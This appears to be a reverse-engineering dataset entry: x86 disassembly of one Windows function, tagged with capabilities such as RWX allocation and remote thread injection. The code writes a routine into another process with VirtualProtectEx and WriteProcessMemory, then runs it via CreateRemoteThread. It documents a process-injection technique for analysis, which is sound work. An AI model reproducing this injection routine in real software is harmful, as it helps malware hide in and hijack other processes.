Function at 0x41e5a0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode
Terminate thread

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x451120
push 0x423360
push eax
mov dword fs:[0], esp
sub esp, 0x13c
push ebx
push esi
push edi
push 0x451110
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x41e5de
xor eax, eax
jmp 0x41e842
push str.LoadLibraryA
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
call edi
push str.FreeLibrary
mov dword [ebp - 0x14c], eax
push esi
call edi
lea edi, [ebp - 0x143]
mov ecx, 0x40
mov byte [ebp - 0x144], 0
mov dword [ebp - 0x148], eax
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp dword [ebp - 0x14c], eax
je 0x41e62e
cmp dword [ebp - 0x148], eax
mov eax, 1
jne 0x41e630
xor eax, eax
test eax, eax
jne 0x41e63b
xor eax, eax
jmp 0x41e842
mov dword [ebp - 0x1c], 0
mov cl, byte [0x44aa44]
test cl, 1
jne 0x41e65f
or cl, 1
mov eax, 0x41e560
sub eax, 0x41e570
mov dword [0x44aa48], eax
test cl, 2
jne 0x41e676
or cl, 2
mov eax, 0x41e590
sub eax, 0x41e570
mov dword [0x44aa40], eax
test cl, 4
mov byte [0x44aa44], cl
jne 0x41e69d
or cl, 4
mov ebx, dword [0x44aa40]
mov eax, dword [0x44aa48]
mov byte [0x44aa44], cl
cmp ebx, eax
jg 0x41e6a3
mov ebx, eax
jmp 0x41e6a3
mov ebx, dword [0x44aa4c]
cmp dword [0x45a078], 0
je 0x41e6b6
mov dword [0x45a078], 0
mov dword [0x44aa4c], ebx
cmp ebx, 0x1c
jge 0x41e6c8
xor eax, eax
jmp 0x41e842
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0
mov dword [0x44aa4c], ebx
add ebx, 0x10f
mov dword [ebp - 4], 0
mov edi, dword [ebp + 0x10]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
lea edi, [ebp - 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
mov eax, dword [ebp + 8]
push eax
call fcn.0041ec10
add esp, 8
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x41e800
lea eax, [ebp - 0x38]
push eax
push 0x40
push ebx
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x41e800
mov eax, dword [0x44aa4c]
lea ecx, [ebp - 0x30]
push ecx
push eax
push 0x41e570
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp + 8]
push eax
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call esi
test eax, eax
je 0x41e800
mov eax, dword [0x44aa4c]
add eax, 4
and eax, 0xfffffffc
shl eax, 2
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x30]
push eax
push 0x10c
lea eax, [ebp - 0x14c]
push eax
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp + 8]
push eax
call esi
test eax, eax
je 0x41e800
lea eax, [ebp - 0x34]
push eax
push 0
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x1c]
push eax
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x41e800
mov eax, dword [0x45a074]
push eax
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x41e800
cmp eax, 0x102
jne 0x41e800
push 0x29a
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [ebp - 4], 0xffffffff
push 0x41e83b
cmp dword [ebp - 0x20], 0
je 0x41e82a
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.0041ed20
add esp, 8
ret
mov ecx, dword [ebp - 0x10]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret